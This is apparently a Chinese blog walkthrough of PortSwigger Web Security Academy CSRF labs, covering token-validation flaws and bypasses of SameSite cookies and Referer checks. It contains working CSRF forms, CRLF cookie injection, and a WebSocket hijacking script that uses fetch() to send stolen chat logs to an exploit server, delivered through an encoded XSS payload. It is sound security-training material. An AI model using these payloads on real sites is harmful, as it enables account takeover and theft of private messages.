综述由AI生成基于 PortSwigger Web Security Academy 靶场，详细讲解了 CSRF（跨站请求伪造）漏洞的多种防御绕过方法。涵盖无防御场景、令牌验证逻辑差异（请求方法、存在性、会话绑定）、SameSite Cookie 属性绕过（Lax/Strict、方法覆盖、客户端重定向、同级域）、以及 Referer 验证失效等 12 个典型实验。通过 Burp Suite 抓包分析与 Payload 构造，演示了从基础利用到高级绕过的完整流程，适合安全研究人员学习参考。
What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy
本题是无任何防御的 CSRF，因此只需要生成简单的 CSRF PoC 进行验证即可。
进入页面，登录靶场提供的账号。在更改邮箱处更改邮箱地址然后抓包，生成 CSRF PoC 进行验证。
将生成的 HTML 复制保存到靶场提供的服务器，然后发送给受害者即可。
如果用的不是 BP 专业版，可以参考模板：
<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="111@111.com" />
<input type="submit" = />
更改邮箱地址的提交方式是 POST，根据提示，本题令牌验证取决于请求方法。先尝试直接修改令牌值，再尝试修改提交方式，观察是否会验证令牌，最后再生成 PoC 放到我们的服务器发送给受害者。
进入页面，先登录靶场提供的账号。修改邮箱地址并利用 BP 抓包，发送到 Repeater 然后把包丢弃关闭拦截，开始尝试修改 csrf 令牌值。
此时发现会验证令牌，右键请求修改请求方式，再次尝试。
发现绕过了 csrf 令牌验证，开始生成 PoC。
生成后复制 HTML，写入靶场提供的服务器，然后发送给受害者（注意邮箱地址要与当前的账号邮箱不同）。
参考模板：
<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="111@111.com" />
<input type="hidden" name="csrf" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
根据提示，本题令牌验证取决于令牌是否存在。可以先尝试修改令牌看看是否能通过验证，再直接将 csrf 参数完全删除，观察请求是否被接受。最后再生成 PoC 放到我们的服务器发送给受害者。
进入页面，登录靶场提供的账号，修改邮箱地址并利用 BP 抓包，发送到 Repeater 然后把包丢弃关闭拦截，开始尝试修改 csrf 令牌值。
无法通过验证，尝试直接将 csrf 参数完全删除。
发现可以绕过 csrf，开始生成 PoC。
生成后复制 HTML，写入靶场提供的服务器，然后发送给受害者。
参考模板：
<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="111@111.com" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
本题设置了令牌来阻止 CSRF 攻击，但是令牌并未集成到网站的会话处理系统中，它和用户的 Session 并没有绑定关系。也就是说可能只要拿到一个合法的 token，就可以在别的会话里使用，而不会被拒绝。我们可以利用靶场提供的两个账号，抓到其中一个包之后将令牌另一个账号的令牌尝试能否绕过验证。（要注意 CSRF 令牌是一次性的）
打开两个网页登录靶场提供给我们的两个账号，先查看复制其中一个账号的令牌，再用 BP 抓到另一个包，将这个账号的令牌改成刚刚复制的账号的令牌，修改邮箱地址，查看是否能够绕过验证。
成功绕过了 csrf 检测。所以我们只要用自己的账号拿到一个合法的令牌，就可进行 CSRF 攻击。此时重新抓一个账号的包，发送到 Repeater，然后将包丢弃（一定要丢弃，因为令牌是一次性的，用过的令牌无法再用）。生成 PoC 写入靶场提供的服务器，发送给受害者。
CRLF 是两个特殊的控制字符。 CR = Carriage Return = \r = 回车 LF = Line Feed = \n = 换行 合起来 CRLF = \r\n。 在 HTTP 协议里，每一行头部都是用 \r\n 结尾的，也就是说，CRLF 表示'这一行结束了'。如果一个网站把用户输入拼进响应头或响应内容，但没有过滤 \r\n，攻击者就能注入新的响应头。
本题令牌并未完全集成到网站的会话处理系统中，抓包之后会发现 cookie 中多了一个参数 csrfKey，经过测试可以发现 csrfKey cookie 可能与会话没有严格的关联，而令牌可能是与参数 csrfKey 关联而不是与 session 绑定，可以利用这一点绕过限制。
打开两个页面分别登录靶场提供的两个账号，修改其中一个账号（这里我选择 carlos）的邮箱地址利用 BP 抓包，修改 session 的值。
此时发现退出了登录，将 session 改回来后修改 csrfKey。
此时发现更改 csrfKey 仅仅会导致 CSRF 令牌被拒绝，猜测令牌可能与 csrfKey 参数绑定。此时尝试用用户 wiener 的 csrfKey 和 令牌 替换用户 carlos 的令牌。
成功绕过限制，重新抓包生成 PoC，将自动提交的
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
%0d%0a → \r\n（回车换行，CRLF）
解码后：<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test Set-Cookie: csrfKey=YOUR-KEY; SameSite=None" onerror="document.forms[0].submit()">
search 参数中实际插入了一个换行，然后追加了响应头写入 csrfKey 参数，此时就成功将我们合法的令牌和参数 csrfKey 绑定在一起，可以绕过限制。
参考 Payload：
<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@normal-user.net" />
<input type="hidden" name="csrf" value="EsOyeyNttITQHlODCrHw40ZZb71eb1Vn" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
// YOUR-KEY：抓包时跟令牌绑定在一起的参数 csrfKey
本题 cookie 中存在重复的 token，试图利用不安全的'双重提交'CSRF 预防技术。而经过测试可以发现，令牌并不与会话绑定，而是通过验证两个令牌值是否一致来判断令牌是否正确。其中一个令牌被写在响应头处，一个通过表单提交。此时只需要在进行普通 CSRF 攻击时，写入响应头的令牌值，令两个令牌值一致即可绕过。
进入页面登录靶场提供的账号，利用 BP 抓包，发现有两个令牌。
此时只修改其中任意一个令牌，都会被限制。
而当我将两个令牌同时修改，且保持一致时，发现成功绕过了限制。
因此可以判断是通过验证两个令牌是否一致来判定令牌是否有效，此时生成 PoC，删除自动提交的
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
SameSite=None 是 Cookie 的一个属性，用来控制浏览器在跨站请求时是否会自动带上这个 Cookie。
通过这样在响应头写入我们想要的 token，使得响应头的 token 和表单提交的 token 一致。
复制后写入靶场提供的服务器。
SameSite 是一个 Cookie 属性，用来控制浏览器在跨站请求时是否发送 Cookie。它是为防御 CSRF（跨站请求伪造）、某些跨站信息泄露而设计的。（详细请查阅靶场主页相关介绍）
本题是没有涉及任何不可预测的令牌，但是要绕过 SameSite Lax，可以通过 GET 从受害者的浏览器引出请求来执行 CSRF 攻击，只要请求涉及顶级导航，浏览器仍然会包含受害者的会话 Cookie。但是修改邮箱的提交方式是 POST，无法使用 GET，需要通过覆盖请求行中指定方法来绕过。
进入网页打开代理，登录靶场提供的账号，更新邮箱地址，在 BP 历史记录里面找到响应 POST /login，发现该网站在设置会话 Cookie 时未明确指定任何 SameSite 限制，浏览器将使用默认 Lax 限制级别。
找到更改邮箱地址的响应包，绕过 Lax 限制，需要 GET 请求且涉及顶级导航，但是直接更改请求方式是不行的。
所以需要覆盖请求行中指定方法（后续操作参考此方法）。
先将请求生成 PoC。
复制生成的 PoC 然后粘贴到靶场提供的服务器，按照下图进行修改。
本题是 SameSite=Strict 的限制，只有用户在同站点内导航（比如点击站内链接）时，Cookie 才会被带上。通过客户端重定向绕过，浏览器认为跨站→同站的'链式跳转'是用户主动行为的一部分，因此最后一步的请求可能会带上 Cookie。受害者访问恶意站点，恶意站点返回一个网页，里面用 JavaScript 做客户端重定向，跳转到另一个页面，这时 SameSite=Strict 的限制可能会被绕过，Cookie 会被附带。
进入网页打开代理，登录靶场提供的账号，更新邮箱地址，在 BP 历史记录里面找到响应 POST /login，发现该网站在设置会话 Cookie 时明确指定了 SameSite=Strict 限制。
在浏览器中，打开其中一篇博客文章并发表一条任意评论。你会发现，你最初会被跳转到一个确认页面，/post/comment/confirmation?postId=x但几秒钟后，你又回到了博客文章页面。在 Burp 中，转到代理历史记录并注意此重定向是使用导入的 JavaScript 文件在客户端处理的 /resources/js/commentConfirmationRedirect.js。
选择该请求然后右键复制网址，尝试修改 postId 参数的值。
/post/comment/confirmation?postId=foo
尝试注入路径遍历序列，以便动态构建的重定向 URL 指向您的帐户页面。
/post/comment/confirmation?postId=1/../../my-account #目录回溯，转到/my-account
可见成功跳转到帐户页面，并且处在登陆状态。
在靶场提供的服务器写入以下脚本，并查看漏洞。
<script>document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";</script>
发现仍然会跳转到已登录的账户页面，这证实了浏览器在第二个请求中包含了你已验证的会话 cookie。
修改邮箱地址并在 BP 找到请求包发送到 Repeater 然后更改请求方法。
可以发现允许使用 GET 请求修改邮箱地址，返回漏洞服务器并更改 postId 漏洞中的参数，以便重定向导致浏览器发送 GET 更改电子邮件地址的等效请求。
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
CSWSH：跨站 WebSocket 劫持，浏览器允许跨域建立 WebSocket（通过 HTTP 升级握手），如果服务器在握手/连接时不验证 Origin 或其它凭证绑定，攻击者站点可以让用户的浏览器在用户已经登录目标站点的情况下建立连接并收/发消息，从而实现未授权的操作或窃取敏感信息。
（建议在尝试此实验之前完成或了解有关 WebSocket 漏洞的主题）
本题存在 CSWSH 漏洞，主要难点在于绕过 SameSite Strict，此时需要通过兄弟域（同级域）来绕过限制，使在跨站时带上 cookie。在绕过 SameSite Strict 限制之后就可以进行 CSWSH 攻击了。
进入网页之后打开代理，进入实时聊天页面，任意发送一些消息。
找到 WebSocket 握手请求，没有包含任何不可预测的令牌，绕过 SameSite Strict 限制可能就能进行 CSWSH 的攻击。
刷新一下聊天页面，浏览器会向服务器发送一条消息（READY），这会导致服务器返回完整的聊天记录。
接下来验证一下 CSWSH，在靶场提供的服务器构造 CSWSH 脚本。
<script>
var ws = new WebSocket('wss://0a790030040214b2804c1c1100850090.web-security-academy.net/chat');
ws.onopen = function() { ws.send("READY"); };
ws.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0a65003204db14b580491b2d01bd0057.exploit-server.net/exploit?message=' + btoa(message));
};
</script>
// 新建一个 WebSocket 连接到指定的 wss:// 地址，当 WebSocket 连接成功打开（onopen 触发）时，向对端发送字符串 "READY"，这会导致服务器返回完整的聊天记录。然后通过 fetch() 向攻击者控制的 HTTP(s) 服务器发起一次 GET 请求，把编码后的消息放在 ?message= 查询参数里。这会把收到的消息'回传'到攻击者服务器。
PS：这里为了方便我没有使用 Burp Collaborator，而是直接使用了本题提供的服务器，然后在日志查看交互。
发送给受害者，然后查看日志。
进行解码。
此时可以确定 CSWSH 漏洞，但是泄露的是全新的聊天记录。回到 BP HTTP 历史记录，找到由脚本触发的 WebSocket 握手请求，发现会话 cookie 未随请求发送。
这是网站 SameSite Strict 限制的原因。但此时却发现了他的兄弟域。
尝试访问该网站来发现了一个额外的登录表单，输入任意用户名和密码。
发现用户名反映在 Invalid username 消息的响应中，尝试通过参数注入 XSS 有效负载 username。
确认这是一个可行的反射型 XSS，抓到该数据包然后发送到 Repeater，修改请求方式为 GET，确保它仍然收到相同的响应。
右键复制 url 然后到浏览器测试，确保仍然能触发 XSS。
因为是同级域，所以在进行跨域的时候不会受到 SameSite 限制。
将之前在漏洞服务器上测试过的 CSWSH 脚本进行 url 编码。
<script>
var ws = new WebSocket('wss://0a2d000003322151803d305e009f002d.web-security-academy.net/chat');
ws.onopen = function() { ws.send("READY"); };
ws.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-exploit-0a6a00b4030321bd808c2f8701fc007c.exploit-server.net/exploit?message=' + btoa(message));
};
</script>
// 进行 url 编码
在漏洞服务器创建一个脚本，诱导受害者的浏览器发送你刚刚测试过的请求，但使用 URL 编码的 CSWSH 有效负载作为 username 参数（将编码过的 CSWSH 脚本 注入 参数 username 引起 XSS）。
<script>
document.location = "https://cms-0a2d000003322151803d305e009f002d.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%32%64%30%30%30%30%30%33%33%32%32%31%35%31%38%30%33%64%33%30%35%65%30%30%39%66%30%30%32%64%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%65%6e%74%2e%64%61%74%61%3b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%61%30%30%62%34%30%33%30%33%32%31%62%64%38%30%38%63%32%66%38%37%30%31%66%63%30%30%37%63%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6d%65%73%73%61%67%65%3d%27%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=123";
</script>
保存并转发给受害者，然后查看日志。
发现返回了所有聊天记录，将几条记录逐条解码，找到包含用户名和密码的记录。
利用该账号密码进行登录即可通过本关。
此时查看 HTTP 历史记录可以发现脚本触发的 WebSocket 握手请求带上了会话 Cookie。
本题是 SameSite Lax，无法通过方法覆盖的方式绕过，根据提示可以通过 cookie 刷新绕过。但是我在测试中发现，不管是处于登录前 120s，登录 120s 后，还是登出状态，都会自动启动完整的 OAuth 流程登录账号。接下来我会按照官方的解题过程进行解题。
进入页面打开代理，登录靶场提供的账号密码。网站在设置会话 Cookie 时未明确指定任何 SameSite 限制。因此，浏览器将使用默认 Lax 限制级别。
抓到修改邮箱地址的请求包，生成 PoC。
写入靶场提供的服务器，保存后查看漏洞，可以发现邮箱地址被修改，查看代理历史，可见发送的 change-email 请求中会带 cookie。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0ad5003504eb1000802c121200a2006b.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="111@111.com" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
成功修改了邮箱地址。
在浏览器中访问 /social-login，这将自动启动完整的 OAuth 流程。如果仍与 OAuth 服务器保持登录会话，则所有操作无需任何交互即可完成。
修改 JavaScript，使攻击首先通过强制受害者的浏览器访问 来刷新受害者的会话 /social-login，然后在短暂的暂停后提交电子邮件更改请求。
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){ document.forms[0].submit(); }
</script>
当我在服务器写入此代码后，查看代码时发现弹窗会被浏览器自动拦截，也可以成功修改邮箱地址。
绕过弹出窗口阻止程序，调整漏洞利用程序，使其诱使受害者点击页面，并且仅在用户点击后才打开弹窗。
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() { document.forms[0].submit(); }
</script>
写入服务器后保存发送给受害者（邮箱地址要与之前的不一致）。
查看漏洞。
点击任意地方，之后邮箱地址被修改。
网站在防御 CSRF 时，会检查请求的 Referer 请求头，确保请求是从本站页面发出的，当 Referer 不存在时，有的站点选择放行（宽松，可能导致绕过）。根据本题的提示可以尝试删除 Referer，验证是否可以绕过限制。
进入网页，登录靶场提供的账号，然后更新邮箱地址，用 BP 抓到该请求包。更改 Referer HTTP 标头中的域，发现请求被拒绝。
而完全删除 Referer 标头则请求被接受。
由此可知，可以通过抑制 Referer 标头来绕过限制。重新抓一个修改邮箱地址的请求包，生成 PoC，添加此代码。
<meta name="referrer" content="no-referrer">
然后写入靶场提供的服务器，保存然后发送给受害者。
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener1@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
本题是损坏的 Referer 验证，需要绕过 Referer 验证，经过测试可以发现该网站似乎接受任何 Referer 标头，只要它在字符串中的某处包含预期的域名。也就是说只要 Referer 标头 存在受害者的域名，就可以绕过限制。
进入网页，登录靶场提供的账号，修改邮箱地址并抓到该请求包。发送到 Repeater，直接修改 Referer，发现请求被拒绝。
尝试将实验室原始域名以查询字符串的形式附加到 Referer 标头中。
Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
请求被接受，可以推测后端只验证是否包含预期域名，只要它在字符串中的某处包含预期的域名请求就可以被接受，可以利用这一点绕过 Referer 验证。
重修抓一个修改邮箱地址的请求包，生成 PoC。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a0000a7042f4161803253a9006d0050.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener1@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/?YOUR-LAB-ID.web-security-academy.net'); document.forms[0].submit();</script>
</body>
</html>
将修改后的 PoC 写入靶场提供的服务器，并在 Head 部分写入。
Referrer-Policy: unsafe-url
微信公众号「极客日志V2」，在微信中扫描左侧二维码关注。展示文案：极客日志V2 zeeklog
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具，Base64 字符串编码/解码在线工具，online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具，Base64 文件转换器在线工具，online
将 Markdown（GFM）转为 HTML 片段，浏览器内 marked 解析；与 HTML转Markdown 互为补充。 在线工具，Markdown转HTML在线工具，online
将 HTML 片段转为 GitHub Flavored Markdown，支持标题、列表、链接、代码块与表格等；浏览器内处理，可链接预填。 在线工具，HTML转Markdown在线工具，online
通过删除不必要的空白来缩小和压缩JSON。 在线工具，JSON 压缩在线工具，online
将JSON字符串修饰为友好的可读格式。 在线工具，JSON美化和格式化在线工具，online